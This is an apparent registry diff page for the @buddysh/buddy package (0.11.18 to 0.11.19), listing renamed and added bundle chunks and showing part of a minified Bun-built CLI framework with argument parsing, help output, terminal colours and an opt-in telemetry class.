@buddysh/buddy 0.11.18 → 0.11.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +23 -0
- package/bin/cli.ts +78 -71
- package/dist/bin/cli.js +72 -108
- package/dist/bin/entry.js +1 -1
- package/dist/bin/stacks.js +1 -1
- package/dist/chunk-05nyhkdp.js +2 -0
- package/dist/{chunk-wjzravb7.js → chunk-065sjjzg.js} +2 -2
- package/dist/chunk-0796xk82.js +2 -0
- package/dist/{chunk-3zp7a103.js → chunk-0pf9vk80.js} +1 -1
- package/dist/chunk-11599831.js +2 -0
- package/dist/chunk-1et7ppg7.js +2 -0
- package/dist/chunk-20sxtyt7.js +3 -0
- package/dist/chunk-23cjwxjk.js +2 -0
- package/dist/{chunk-cj4d5ad7.js → chunk-2g8r8khw.js} +1 -1
- package/dist/{chunk-b75yqx1f.js → chunk-2v4b940m.js} +1 -1
- package/dist/{chunk-5czhqsvn.js → chunk-33ymc651.js} +2 -2
- package/dist/{chunk-h3vdnyqy.js → chunk-3pg9420w.js} +1 -1
- package/dist/{chunk-0hrxtesf.js → chunk-47k0qdd5.js} +1 -1
- package/dist/chunk-4gf3a9pm.js +2 -0
- package/dist/chunk-4we8d2ys.js +2 -0
- package/dist/{chunk-c067bnx5.js → chunk-539wp217.js} +1 -1
- package/dist/{chunk-339ae7vn.js → chunk-58et72hc.js} +1 -1
- package/dist/{chunk-p09rsh3z.js → chunk-5feeegzy.js} +2 -2
- package/dist/{chunk-1pecmenc.js → chunk-5nn5mms4.js} +1 -1
- package/dist/{chunk-j46f90n8.js → chunk-5q5tm30a.js} +1 -1
- package/dist/{chunk-vjav82c6.js → chunk-5qxs04gf.js} +1 -1
- package/dist/{chunk-b27ezdzq.js → chunk-5ytyahtm.js} +3 -3
- package/dist/chunk-6477cdgj.js +2 -0
- package/dist/{chunk-dbhgxe35.js → chunk-6bdrm4ab.js} +2 -2
- package/dist/{chunk-w20n4t27.js → chunk-6kmaj5br.js} +1 -1
- package/dist/chunk-6m03hqbw.js +3 -0
- package/dist/{chunk-nn9rcqsz.js → chunk-73a090ce.js} +1 -1
- package/dist/chunk-78pxywjv.js +2 -0
- package/dist/{chunk-nznpzbq4.js → chunk-7bqy4enq.js} +1 -1
- package/dist/chunk-843907bh.js +2 -0
- package/dist/{chunk-b22d85q8.js → chunk-88jx1n4t.js} +1 -1
- package/dist/{chunk-r976qdkb.js → chunk-89spjk6r.js} +2 -2
- package/dist/chunk-8fm0z13m.js +2 -0
- package/dist/{chunk-dcbkac9x.js → chunk-8hstj0s3.js} +1 -1
- package/dist/{chunk-wkjv03yr.js → chunk-8y4szfd2.js} +1 -1
- package/dist/{chunk-ad8ws736.js → chunk-91q9x0df.js} +1 -1
- package/dist/chunk-9pt7kwmm.js +2 -0
- package/dist/{chunk-b8bfag6k.js → chunk-a5hevn6e.js} +2 -2
- package/dist/{chunk-mm9b9pwb.js → chunk-agdvymzh.js} +1 -1
- package/dist/{chunk-v9aakgat.js → chunk-ar8skamr.js} +1 -1
- package/dist/chunk-b8n7zh62.js +2 -0
- package/dist/chunk-by2hfewp.js +2 -0
- package/dist/{chunk-13cpe0kf.js → chunk-c7ja1xmh.js} +1 -1
- package/dist/chunk-cfj98vmf.js +2 -0
- package/dist/{chunk-0baffydm.js → chunk-cp3g2srn.js} +2 -2
- package/dist/chunk-cxbrnbcp.js +2 -0
- package/dist/{chunk-97857d8t.js → chunk-dev3g0n3.js} +1 -1
- package/dist/{chunk-n2de4spv.js → chunk-dgcct70c.js} +2 -2
- package/dist/{chunk-eaz23nsf.js → chunk-dh8yykbg.js} +1 -1
- package/dist/{chunk-drn3hq53.js → chunk-dkgz8hsd.js} +7 -7
- package/dist/{chunk-4yy4f6wc.js → chunk-dmaxdw65.js} +1 -1
- package/dist/chunk-e0d1n3yn.js +2 -0
- package/dist/{chunk-gkdmk7xt.js → chunk-ebb90mp9.js} +1 -1
- package/dist/chunk-ece98jde.js +2 -0
- package/dist/{chunk-rxqph6cj.js → chunk-ednwgr1b.js} +1 -1
- package/dist/{chunk-jf4s1r34.js → chunk-en525sf9.js} +1 -1
- package/dist/{chunk-hzpsmg4z.js → chunk-eq5xb8k1.js} +2 -2
- package/dist/{chunk-jpbq9xqv.js → chunk-ewnhhpak.js} +1 -1
- package/dist/{chunk-j9xw849s.js → chunk-f3fmewqb.js} +1 -1
- package/dist/chunk-f694pp35.js +2 -0
- package/dist/{chunk-5107xbwj.js → chunk-fcax5a60.js} +2 -2
- package/dist/{chunk-0g44mytk.js → chunk-ffjp134d.js} +1 -1
- package/dist/{chunk-xaw1yts1.js → chunk-g763t4rr.js} +1 -1
- package/dist/chunk-h65g7hd0.js +2 -0
- package/dist/{chunk-w3ktf7th.js → chunk-h9deve0y.js} +3 -3
- package/dist/{chunk-87x43s85.js → chunk-hfq56cgn.js} +1 -1
- package/dist/chunk-hwpv7jhw.js +1043 -0
- package/dist/{chunk-2k7b8te1.js → chunk-j9pe2np4.js} +1 -1
- package/dist/chunk-jq846den.js +2 -0
- package/dist/{chunk-nkwfez01.js → chunk-jxmpwday.js} +1 -1
- package/dist/{chunk-vna64r40.js → chunk-jy1kbr1k.js} +2 -2
- package/dist/{chunk-s3t54kj1.js → chunk-m6qym0ya.js} +2 -2
- package/dist/{chunk-7rdqaj9g.js → chunk-nezqdnp3.js} +1 -1
- package/dist/{chunk-d3cqth47.js → chunk-ng9zksy3.js} +1 -1
- package/dist/{chunk-r7c4arkp.js → chunk-nmrf0ydg.js} +1 -1
- package/dist/{chunk-d2vrstjq.js → chunk-pxv58dh1.js} +1 -1
- package/dist/{chunk-2z9mh5y4.js → chunk-q3dg57xx.js} +1 -1
- package/dist/chunk-q9x936wq.js +2 -0
- package/dist/{chunk-zdh3gd22.js → chunk-qbqk1jax.js} +1 -1
- package/dist/{chunk-2z54h4e9.js → chunk-qfm0eh6y.js} +1 -1
- package/dist/{chunk-8efgn47g.js → chunk-qn1g860m.js} +1 -1
- package/dist/{chunk-yh13j2af.js → chunk-r0jmwzr3.js} +1 -1
- package/dist/chunk-rmv4ajb2.js +2 -0
- package/dist/{chunk-56t2za4k.js → chunk-rrm4x81p.js} +1 -1
- package/dist/chunk-rsvtnsmt.js +2 -0
- package/dist/{chunk-24xvskkf.js → chunk-rwzt9xvk.js} +1 -1
- package/dist/{chunk-18wwzwcz.js → chunk-ry21xmre.js} +1 -1
- package/dist/{chunk-g482e1b0.js → chunk-s6w47z4a.js} +3 -3
- package/dist/chunk-sek2e857.js +2 -0
- package/dist/{chunk-kqwdg3nw.js → chunk-sg7bhtb7.js} +1 -1
- package/dist/{chunk-6v9c84ds.js → chunk-snya72ah.js} +2 -2
- package/dist/{chunk-c5d5webv.js → chunk-t7grk0az.js} +2 -2
- package/dist/chunk-tes3e84x.js +2 -0
- package/dist/chunk-tgm4vbaq.js +2 -0
- package/dist/{chunk-142zh7e5.js → chunk-tqwek43e.js} +1 -1
- package/dist/{chunk-vx23zjwq.js → chunk-tztc0r76.js} +1 -1
- package/dist/{chunk-6c6e5xgb.js → chunk-v0895nt9.js} +1 -1
- package/dist/chunk-v6rrvfh4.js +2 -0
- package/dist/{chunk-292qaqqe.js → chunk-vn4c8fxq.js} +1 -1
- package/dist/{chunk-35wxea5y.js → chunk-vpz26asn.js} +2 -2
- package/dist/{chunk-x9vpk4kk.js → chunk-vxt1h0c4.js} +1 -1
- package/dist/chunk-vyckmje5.js +2 -0
- package/dist/{chunk-t74w5ddy.js → chunk-wca85ahg.js} +1 -1
- package/dist/chunk-we1n57ze.js +2 -0
- package/dist/chunk-wnqqprmy.js +2 -0
- package/dist/chunk-wt8b3ywq.js +2 -0
- package/dist/{chunk-249qcsjm.js → chunk-wx4qd9e9.js} +1 -1
- package/dist/chunk-x0mq8nn2.js +2 -0
- package/dist/{chunk-9mpeqda3.js → chunk-x9spxa46.js} +1 -1
- package/dist/{chunk-7qp8ng5e.js → chunk-xfk9a8az.js} +1 -1
- package/dist/{chunk-rzxj5fgp.js → chunk-xmk24pz9.js} +2 -2
- package/dist/{chunk-npjgqzfg.js → chunk-xn2xv07k.js} +2 -2
- package/dist/chunk-xntpzagn.js +3 -0
- package/dist/{chunk-48a66w2p.js → chunk-xqcmw7d0.js} +1 -1
- package/dist/chunk-xvq8w2jm.js +2 -0
- package/dist/{chunk-sveh3wjr.js → chunk-xyry3bma.js} +2 -2
- package/dist/{chunk-rb6gzts6.js → chunk-y6292gbf.js} +2 -2
- package/dist/chunk-ye3aym4p.js +2 -0
- package/dist/{chunk-09qpgqgj.js → chunk-yx9v94q5.js} +2 -2
- package/dist/chunk-yxt8294f.js +2 -0
- package/dist/{chunk-gs26n8tm.js → chunk-z0avay86.js} +2 -2
- package/dist/{chunk-jan74vw2.js → chunk-z906zp4k.js} +5 -5
- package/dist/chunk-zy6azdxt.js +2 -0
- package/dist/src/index.js +1 -1
- package/dist/src/setup.js +1 -1
- package/package.json +2 -4
- package/dist/chunk-255r8t6k.js +0 -2
- package/dist/chunk-2c2bkhwj.js +0 -2
- package/dist/chunk-4aavwqyt.js +0 -2
- package/dist/chunk-981xyxzj.js +0 -2
- package/dist/chunk-a12s15m8.js +0 -2
- package/dist/chunk-a7veqg3a.js +0 -2
- package/dist/chunk-b9b3xwar.js +0 -2
- package/dist/chunk-bjvx1r6g.js +0 -2
- package/dist/chunk-c7s8nsbr.js +0 -2
- package/dist/chunk-ckvtfmyg.js +0 -2
- package/dist/chunk-ems4rhqe.js +0 -2
- package/dist/chunk-erges5h8.js +0 -1070
- package/dist/chunk-f1d20z92.js +0 -2
- package/dist/chunk-f4rmh2s9.js +0 -2
- package/dist/chunk-ff1dah6m.js +0 -2
- package/dist/chunk-fz9th4yv.js +0 -2
- package/dist/chunk-haemkbh1.js +0 -2
- package/dist/chunk-hgcr63c6.js +0 -2
- package/dist/chunk-hh4zq6m0.js +0 -2
- package/dist/chunk-j5k195b6.js +0 -2
- package/dist/chunk-k1w134pz.js +0 -2
- package/dist/chunk-ksght1x7.js +0 -2
- package/dist/chunk-mkfsh53w.js +0 -2
- package/dist/chunk-nfcxgb5d.js +0 -2
- package/dist/chunk-pbrpej0s.js +0 -2
- package/dist/chunk-pz2nmnhh.js +0 -2
- package/dist/chunk-sc4bxrwb.js +0 -2
- package/dist/chunk-tp3hze1v.js +0 -2
- package/dist/chunk-v02hzntq.js +0 -2
- package/dist/chunk-vg0pry4b.js +0 -2
- package/dist/chunk-vgys0c1v.js +0 -2
- package/dist/chunk-wk4rtet9.js +0 -2
- package/dist/chunk-wq4g8082.js +0 -2
- package/dist/chunk-x8dry63m.js +0 -2
- package/dist/chunk-y2zqnbbf.js +0 -2
- package/dist/chunk-z18bksyr.js +0 -3
- package/dist/chunk-za2yg8vc.js +0 -2
- package/dist/chunk-zrnfjw7d.js +0 -2
|
@@ -0,0 +1,1043 @@
|
|
|
1
|
+
// @bun
|
|
2
|
+
import{Bh as g0}from"./chunk-7bqy4enq.js";import{Ch as f0}from"./chunk-r0jmwzr3.js";import{Qh as v}from"./chunk-sg7bhtb7.js";import{Wh as G}from"./chunk-rrm4x81p.js";import{exec as F$}from"child_process";import W from"fs";import r from"path";import E from"process";import{promisify as K$}from"util";import{existsSync as p0}from"fs";import t from"fs/promises";import V0 from"os";import o from"path";import x from"process";class j0{configPath;config=null;events=[];retryCount=0;maxRetries=3;retryDelayMs=1000;constructor(){let $=V0.homedir(),Q=o.join($,".config","clapp");this.configPath=o.join(Q,"telemetry.json")}async isEnabled(){if(x.env.DO_NOT_TRACK==="1"||x.env.DO_NOT_TRACK==="true")return!1;if(x.env.NO_TELEMETRY==="1"||x.env.NO_TELEMETRY==="true")return!1;return(await this.loadConfig()).enabled}async enable(){let $=await this.loadConfig();if($.enabled=!0,!$.userId)$.userId=this.generateUserId();await this.saveConfig($)}async disable(){let $=await this.loadConfig();$.enabled=!1,await this.saveConfig($)}async track($,Q){if(!await this.isEnabled())return;let z={event:$,...Q,timestamp:Date.now(),platform:V0.platform(),nodeVersion:x.version};if(this.events.push(z),this.events.length>=10)await this.send()}async trackCommand($,Q){await this.track("command",{command:$,duration:Q})}async trackError($,Q){await this.track("error",{error:$,command:Q})}async send(){if(!await this.isEnabled()||this.events.length===0)return!0;try{this.events=[],this.retryCount=0;let Q=await this.loadConfig();return Q.lastSent=Date.now(),await this.saveConfig(Q),!0}catch{if(this.retryCount<this.maxRetries){this.retryCount++;let Q=this.retryDelayMs*2**(this.retryCount-1);return await this.sleep(Q),this.send()}return this.events=[],this.retryCount=0,!1}}async flush(){if(this.events.length===0)return!0;return this.send()}sleep($){return new Promise((Q)=>setTimeout(Q,$))}async status(){let $=await this.loadConfig();return{enabled:$.enabled,doNotTrack:x.env.DO_NOT_TRACK==="1"||x.env.DO_NOT_TRACK==="true",eventsQueued:this.events.length,lastSent:$.lastSent}}async loadConfig(){if(this.config)return this.config;try{if(p0(this.configPath)){let $=await t.readFile(this.configPath,"utf-8");return this.config=JSON.parse($),this.config}}catch{}return this.config={enabled:!1},this.config}async saveConfig($){this.config=$;try{let Q=o.dirname(this.configPath);await t.mkdir(Q,{recursive:!0}),await t.writeFile(this.configPath,JSON.stringify($,null,2),"utf-8")}catch{}}generateUserId(){let $=Math.random().toString(36).substring(2,15),Q=Date.now().toString(36);return`${$}-${Q}`}}var i0=new j0;import{EventEmitter as n0}from"events";import R from"process";import W0 from"process";import Z0 from"process";import p from"process";import _ from"process";import O0 from"tty";import S1,{stdin as u$,stdout as c$}from"process";import B0,{stdin as _1,stdout as f1}from"process";import g1 from"readline";import $$ from"process";import{WriteStream as Q$}from"tty";function Q0($){return $.replace(/[<[].+/,"").trim()}function l0($){let Q=/<([^>]+)>/g,Z=/\[([^\]]+)\]/g,z=[],J=(F)=>{let X=!1,K=F[1];if(K.startsWith("..."))K=K.slice(3),X=!0;else if(K.endsWith("..."))K=K.slice(0,-3),X=!0;return{required:F[0].startsWith("<"),value:K.trim(),variadic:X}},Y;while(Y=Q.exec($))z.push(J(Y));let q;while(q=Z.exec($))z.push(J(q));return z}function a0($){let Q={alias:{},boolean:[]};for(let[Z,z]of $.entries()){if(z.names.length>1)Q.alias[z.names[0]]=z.names.slice(1);if(z.isBoolean)if(z.negated){if(!$.some((Y,q)=>{return q!==Z&&Y.names.some((F)=>z.names.includes(F))&&typeof Y.required==="boolean"}))Q.boolean.push(z.names[0])}else Q.boolean.push(z.names[0])}return Q}function M0($){return $.reduce((Q,Z)=>Q.length>=Z.length?Q:Z,"")}function e($,Q){return $.length>=Q?$:`${$}${" ".repeat(Q-$.length)}`}function c($){return $.replace(/([a-z])-([a-z])/g,(Q,Z,z)=>{return Z+z.toUpperCase()})}function r0($,Q,Z){let z=0,J=Q.length,Y=$,q;for(;z<J;++z)q=Y[Q[z]],Y=Y[Q[z]]=z===J-1?Z:q!=null?q:!!~Q[z+1].indexOf(".")||!(+Q[z+1]>-1)?{}:[]}function s0($,Q){for(let Z of Object.keys(Q)){let z=Q[Z];if($[Z]===void 0)continue;if(z.shouldTransform){if($[Z]=Array.prototype.concat.call([],$[Z]),typeof z.transformFunction==="function")$[Z]=$[Z].map(z.transformFunction)}}}function t0($){let Q=/([^\\/]+)$/.exec($);return Q?Q[1]:""}function f($){return $.split(".").map((Q,Z)=>{return Z===0?c(Q):Q}).join(".")}class g extends Error{exitCode=2;isUsageError=!0;usage;constructor($,Q){super($);if(this.name=this.constructor.name,Q!==void 0)this.usage=Q;if(typeof Error.captureStackTrace==="function")Error.captureStackTrace(this,this.constructor);else this.stack=Error($).stack}format($=!1){if($&&this.stack)return`${this.message}
|
|
3
|
+
|
|
4
|
+
Stack trace:
|
|
5
|
+
${this.stack}`;return this.message}}function o0($){if($ instanceof g)return!0;return!!$&&typeof $==="object"&&$.name==="ClappError"&&typeof $.message==="string"}function e0(){let{env:$}=W0,{TERM:Q,TERM_PROGRAM:Z}=$;if(W0.platform!=="win32")return Q!=="linux";return Boolean($.WT_SESSION)||Boolean($.TERMINUS_SUBLIME)||$.ConEmuTask==="{cmd::Cmder}"||Z==="Terminus-Sublime"||Z==="vscode"||Q==="xterm-256color"||Q==="alacritty"||Q==="rxvt-unicode"||Q==="rxvt-unicode-256color"||$.TERMINAL_EMULATOR==="JetBrains-JediTerm"}var n="\x1B",B=`${n}[`;var L={to($,Q){if(!Q)return`${B}${$+1}G`;return`${B}${Q+1};${$+1}H`},move($,Q){let Z="";if($<0)Z+=`${B}${-$}D`;else if($>0)Z+=`${B}${$}C`;if(Q<0)Z+=`${B}${-Q}A`;else if(Q>0)Z+=`${B}${Q}B`;return Z},up:($=1)=>`${B}${$}A`,down:($=1)=>`${B}${$}B`,forward:($=1)=>`${B}${$}C`,backward:($=1)=>`${B}${$}D`,nextLine:($=1)=>`${B}E`.repeat($),prevLine:($=1)=>`${B}F`.repeat($),left:`${B}G`,hide:`${B}?25l`,show:`${B}?25h`,save:`${n}7`,restore:`${n}8`};var $0={screen:`${B}2J`,up:($=1)=>`${B}1J`.repeat($),down:($=1)=>`${B}J`.repeat($),line:`${B}2K`,lineEnd:`${B}K`,lineStart:`${B}1K`,lines($){let Q="";for(let Z=0;Z<$;Z++)Q+=this.line+(Z<$-1?L.up():"");if($)Q+=L.left;return Q}},S$={screen:`${n}c`};function $1($,Q){let Z=[];for(let z=0;z<=Q.length;z++)Z[z]=[z];for(let z=0;z<=$.length;z++)Z[0][z]=z;for(let z=1;z<=Q.length;z++)for(let J=1;J<=$.length;J++)if(Q.charAt(z-1)===$.charAt(J-1))Z[z][J]=Z[z-1][J-1];else Z[z][J]=Math.min(Z[z-1][J-1]+1,Z[z][J-1]+1,Z[z-1][J]+1);return Z[Q.length][$.length]}function E0($,Q,Z=2,z=3){return Q.map((J)=>({cmd:J,distance:$1($,J)})).filter(({distance:J})=>J<=Z).sort((J,Y)=>J.distance-Y.distance).slice(0,z).map(({cmd:J})=>J)}function Q1($,Q={}){let Z={_:[]},z=Q.alias||{},J=new Set(Q.boolean||[]),Y={};for(let X of Object.keys(z))for(let K of z[X])Y[K]=X;for(let X of J)if(z[X])for(let K of z[X])J.add(K);function q(X,K){if(X===void 0)return K;if(typeof K==="boolean")return K;return Array.isArray(X)?[...X,K]:[X,K]}function F(X,K){let H=Y[X]||X,j=q(Z[H],K);if(Z[H]=j,z[H])for(let V of z[H])Z[V]=j;if(Y[X]&&z[Y[X]])for(let V of z[Y[X]])Z[V]=j;Z[X]=j}for(let X=0;X<$.length;X++){let K=$[X];if(K==="--"){Z._.push(...$.slice(X+1));break}if(K.startsWith("--")){let H=K.indexOf("=");if(H!==-1){let j=c(K.slice(2,H)),V=K.slice(H+1);F(j,V)}else{let j=K.slice(2);if(j.startsWith("no-")){let M=c(j.slice(3));F(M,!1);continue}let V=c(j),D=Y[V]||V;if(J.has(D)||J.has(V))F(V,!0);else{let M=$[X+1];if(M!==void 0&&!M.startsWith("-"))F(V,M),X++;else F(V,!0)}}}else if(K.startsWith("-")&&K.length>1){let H=K.slice(1);for(let j=0;j<H.length;j++){let V=H[j],D=Y[V]||V;if(j===H.length-1&&!J.has(D)&&!J.has(V)){let M=$[X+1];if(M!==void 0&&!M.startsWith("-"))F(V,M),X++;else F(V,!0)}else F(V,!0)}}else Z._.push(K)}return Z}class w0{rawName;description;name;names;isBoolean;required;config;negated;variadic;constructor($,Q,Z){if(this.rawName=$,this.description=Q,this.config=Object.assign({},Z),$=$.replace(/\.\*/g,""),this.negated=!1,this.variadic=/[<[](?:\.\.\.[^\]>]+|[^\]>]+\.\.\.)[\]>]/.test($),this.names=Q0($).split(",").map((z)=>{let J=z.trim().replace(/^-{1,2}/,"");if(J.startsWith("no-"))this.negated=!0,J=J.replace(/^no-/,"");return f(J)}).sort((z,J)=>z.length>J.length?1:-1),this.name=this.names[this.names.length-1],this.negated&&this.config.default==null)this.config.default=!0;if($.includes("<"))this.required=!0;else if($.includes("["))this.required=!1;else this.isBoolean=!0}}var y$=Z0.argv,Z1=`${Z0.platform}-${Z0.arch} bun-v${typeof Bun<"u"?Bun.version:"unknown"}`,N0=p.argv,z1=`${p.platform}-${p.arch} node-${p.version}`;class q0{rawName;description;config;cli;options;aliasNames;name;namespace;args;commandAction;usageText;versionNumber;examples;helpCallback;globalCommand;beforeHooks;afterHooks;middleware;constructor($,Q,Z,z){this.rawName=$,this.description=Q,this.config=Z,this.cli=z,this.options=[],this.aliasNames=[],this.name=Q0($);let J=Q0($),Y=J.indexOf(":");if(Y>0)this.namespace=J.substring(0,Y),this.name=J.substring(Y+1);if(this.args=l0($),this.examples=[],this.beforeHooks=[],this.afterHooks=[],this.middleware=[],!Z)this.config={}}usage($){return this.usageText=$,this}allowUnknownOptions(){return this.config.allowUnknownOptions=!0,this}ignoreOptionDefaultValue(){return this.config.ignoreOptionDefaultValue=!0,this}version($,Q="-v, --version"){return this.versionNumber=$,this.option(Q,"Display version number"),this}example($){return this.examples.push($),this}option($,Q,Z){let z=new w0($,Q,Z);return this.options.push(z),this}alias($){return this.aliasNames.push($),this}action($){return this.commandAction=$,this}before($){return this.beforeHooks.push($),this}after($){return this.afterHooks.push($),this}use($){return this.middleware.push($),this}isMatched($){if(this.aliasNames.includes($))return!0;if(this.namespace)return`${this.namespace}:${this.name}`===$;return this.name===$}get isDefaultCommand(){return this.name===""||this.aliasNames.includes("!")}get isGlobalCommand(){return this instanceof X0}get displayName(){return this.namespace?`${this.namespace}:${this.name}`:this.name}hasOption($){let Q=f($.split(".")[0]);return!!this.options.find((Z)=>{return Z.names.some((z)=>f(z)===Q)})}outputHelp(){let{name:$,commands:Q}=this.cli,{versionNumber:Z,options:z,helpCallback:J}=this.cli.globalCommand,Y=[{body:`${$}${Z?`/${Z}`:""}`}];if(Y.push({title:"Usage",body:` $ ${$} ${this.usageText||this.rawName}`}),(this.isGlobalCommand||this.isDefaultCommand)&&Q.length>0){let K=M0(Q.map((M)=>M.rawName)),H=new Map,j=[];for(let M of Q)if(M.namespace){if(!H.has(M.namespace))H.set(M.namespace,[]);H.get(M.namespace).push(M)}else j.push(M);let V="";if(j.sort((M,I)=>M.rawName<I.rawName?-1:M.rawName>I.rawName?1:0),j.length>0)V+=j.map((M)=>{return` ${e(M.rawName,K.length)} ${M.description}`}).join(`
|
|
6
|
+
`);let D=Array.from(H.keys()).sort();for(let M of D){let I=H.get(M);if(V.length>0)V+=`
|
|
7
|
+
|
|
8
|
+
`;V+=` ${M}:
|
|
9
|
+
`,V+=I.map((C)=>{return` ${e(C.rawName,K.length-2)} ${C.description}`}).join(`
|
|
10
|
+
`)}Y.push({title:"Commands",body:V}),Y.push({body:`Run \`${$} <command> --help\` for command details.`})}let F=new Set(this.options.flatMap((K)=>K.names)),X=this.isGlobalCommand?z:[...this.options,...(z||[]).filter((K)=>!K.names.some((H)=>F.has(H)))];if(!this.isGlobalCommand&&!this.isDefaultCommand)X=X.filter((K)=>K.name!=="version");if(X.length>0){let K=M0(X.map((H)=>H.rawName));Y.push({title:"Options",body:X.map((H)=>{return` ${e(H.rawName,K.length)} ${H.description} ${H.config.default===void 0?"":`(default: ${H.config.default})`}`}).join(`
|
|
11
|
+
`)})}if(this.examples.length>0)Y.push({title:"Examples",body:this.examples.map((K)=>{if(typeof K==="function")return K($);return K}).join(`
|
|
12
|
+
`)});if(J)Y=J(Y)||Y;console.log(Y.map((K)=>{return K.title?`${K.title}:
|
|
13
|
+
${K.body}`:K.body}).join(`
|
|
14
|
+
|
|
15
|
+
`))}outputVersion(){let{name:$}=this.cli,{versionNumber:Q}=this.cli.globalCommand;if(Q)console.log(`${$}/${Q} ${typeof Bun<"u"?Z1:z1}`)}get usageLine(){return`$ ${this.cli.name} ${this.usageText||this.rawName}`}checkRequiredArgs(){let $=this.args.filter((Q)=>Q.required).length;if(this.cli.args.length<$){let Z=this.args.filter((J)=>J.required).slice(this.cli.args.length),z=Z.map((J)=>`<${J.value}>`).join(" ");throw new g(`Missing required argument${Z.length>1?"s":""}: ${z}
|
|
16
|
+
|
|
17
|
+
Run \`${this.cli.name} ${this.rawName} --help\` for usage information.`,this.usageLine)}}checkUnknownOptions(){let{options:$,globalCommand:Q}=this.cli;if(!this.config.allowUnknownOptions){for(let Z of Object.keys($))if(Z!=="--"&&!this.hasOption(Z)&&!Q.hasOption(Z)){let J=[...Q.options,...this.options].flatMap((K)=>K.names),Y=f(Z.split(".")[0]),q=Z.length>1?`--${Z}`:`-${Z}`,F=E0(Y,J),X=`Unknown option \`${q}\``;if(F.length>0)X+=`
|
|
18
|
+
|
|
19
|
+
Did you mean one of these?`,F.forEach((K)=>{let H=K.length>1?`--${K}`:`-${K}`;X+=`
|
|
20
|
+
\u2022 ${H}`});throw X+=`
|
|
21
|
+
|
|
22
|
+
Run \`${this.cli.name} ${this.rawName} --help\` to see available options.`,new g(X,this.usageLine)}}}checkOptionValue(){let{options:$,globalCommand:Q}=this.cli,Z=[...Q.options,...this.options];for(let z of Z){let J=$[z.name.split(".")[0]];if(z.required){let Y=Z.some((q)=>q.negated&&q.names.includes(z.name));if(J===!0||J===!1&&!Y)throw new g(`Option \`${z.rawName}\` requires a value.
|
|
23
|
+
|
|
24
|
+
Example: ${this.cli.name} ${this.rawName} ${z.rawName} <value>`,this.usageLine)}}}}class X0 extends q0{constructor($){super("@@global@@","",{},$)}}var J1=q0,A={red:["\x1B[31m","\x1B[39m"],green:["\x1B[32m","\x1B[39m"],blue:["\x1B[34m","\x1B[39m"],yellow:["\x1B[33m","\x1B[39m"],cyan:["\x1B[36m","\x1B[39m"],magenta:["\x1B[35m","\x1B[39m"],white:["\x1B[37m","\x1B[39m"],gray:["\x1B[90m","\x1B[39m"],bgRed:["\x1B[41m","\x1B[49m"],bgGreen:["\x1B[42m","\x1B[49m"],bgBlue:["\x1B[44m","\x1B[49m"],bgYellow:["\x1B[43m","\x1B[49m"],bgCyan:["\x1B[46m","\x1B[49m"],bgMagenta:["\x1B[45m","\x1B[49m"],bold:["\x1B[1m","\x1B[22m"],italic:["\x1B[3m","\x1B[23m"],underline:["\x1B[4m","\x1B[24m"],dim:["\x1B[2m","\x1B[22m"],inverse:["\x1B[7m","\x1B[27m"],hidden:["\x1B[8m","\x1B[28m"],strikethrough:["\x1B[9m","\x1B[29m"]};var y={primary:"blue",secondary:"cyan",success:"green",warning:"yellow",error:"red",info:"magenta",muted:"gray"};function Y1(){return!0}function q1(){let $={};$.supportsColor=Y1();function Q(z,J=[]){let Y=z===""?[]:[...J,z],q=function(X){if(!$.supportsColor)return X;let K="",H="";for(let j of Y)if(j in y&&y[j]in A){let V=y[j];K+=A[V][0],H=A[V][1]+H}else if(j in A)K+=A[j][0],H=A[j][1]+H;return K+X+H},F=[...Object.keys(A),...Object.keys(y)];for(let X of F)if(!(X in q))Object.defineProperty(q,X,{get(){return Q(X,Y)}});return q}let Z=[...Object.keys(A),...Object.keys(y)];for(let z of Z)if(!(z in $))Object.defineProperty($,z,{get(){return Q(z)}});return $}var k=q1();class X1 extends n0{name;commands;globalCommand;matchedCommand;matchedCommandName;rawArgs;args;options;showHelpOnExit;showVersionOnExit;enableDidYouMean=!0;signalHandlersSet=!1;isVerbose=!1;isQuiet=!1;isDebug=!1;isNoInteraction=!1;environment;isDryRun=!1;isForce=!1;useEmoji=!0;theme;isNoCache=!1;constructor($=""){super();this.name=$,this.commands=[],this.rawArgs=[],this.args=[],this.options={},this.globalCommand=new X0(this),this.globalCommand.usage("<command> [options]")}handleSignals($){if(this.signalHandlersSet)return this;let Q=async(Z)=>{if(console.log(`
|
|
25
|
+
|
|
26
|
+
Received ${Z}, cleaning up...`),$)try{await $()}catch(z){console.error("Error during cleanup:",z)}R.exit(0)};return R.on("SIGINT",()=>Q("SIGINT")),R.on("SIGTERM",()=>Q("SIGTERM")),this.signalHandlersSet=!0,this}didYouMean($=!0){return this.enableDidYouMean=$,this}verbose(){return this.globalCommand.option("-v, --verbose","Enable verbose output"),this}quiet(){return this.globalCommand.option("-q, --quiet","Suppress non-essential output"),this}debug(){return this.globalCommand.option("--debug","Enable debug mode with detailed error information"),this}noInteraction(){return this.globalCommand.option("-n, --no-interaction","Do not ask any interactive questions (for CI/CD)"),this}env(){return this.globalCommand.option("--env <environment>","Target environment (e.g., production, staging, local)"),this}dryRun(){return this.globalCommand.option("--dry-run","Preview actions without executing them"),this}force(){return this.globalCommand.option("-f, --force","Skip confirmation prompts"),this}emoji(){return this.globalCommand.option("--no-emoji","Disable emoji in output"),this}themes(){return this.globalCommand.option("--theme <theme>","Color theme (default, dracula, nord, solarized, monokai)"),this}cache(){return this.globalCommand.option("--no-cache","Disable caching"),this}usage($){return this.globalCommand.usage($),this}command($,Q,Z){if(!Z)Z={};let z=new J1($,Q||"",Z,this);return z.globalCommand=this.globalCommand,this.commands.push(z),z}option($,Q,Z){return this.globalCommand.option($,Q,Z),this}help($){return this.globalCommand.option("-h, --help","Display this message"),this.globalCommand.helpCallback=$,this.showHelpOnExit=!0,this}version($,Q="-v, --version"){return this.globalCommand.version($,Q),this.showVersionOnExit=!0,this}example($){return this.globalCommand.example($),this}outputHelp(){if(this.matchedCommand)this.matchedCommand.outputHelp();else this.globalCommand.outputHelp()}outputVersion(){this.globalCommand.outputVersion()}setParsedInfo({args:$,options:Q},Z,z){if(this.args=$,this.options=Q,Z)this.matchedCommand=Z;if(z)this.matchedCommandName=z;return this}unsetMatchedCommand(){this.matchedCommand=void 0,this.matchedCommandName=void 0}showCommandNotFound($){if(console.log(k.red(`
|
|
27
|
+
\u2717 Command "${$}" not found.
|
|
28
|
+
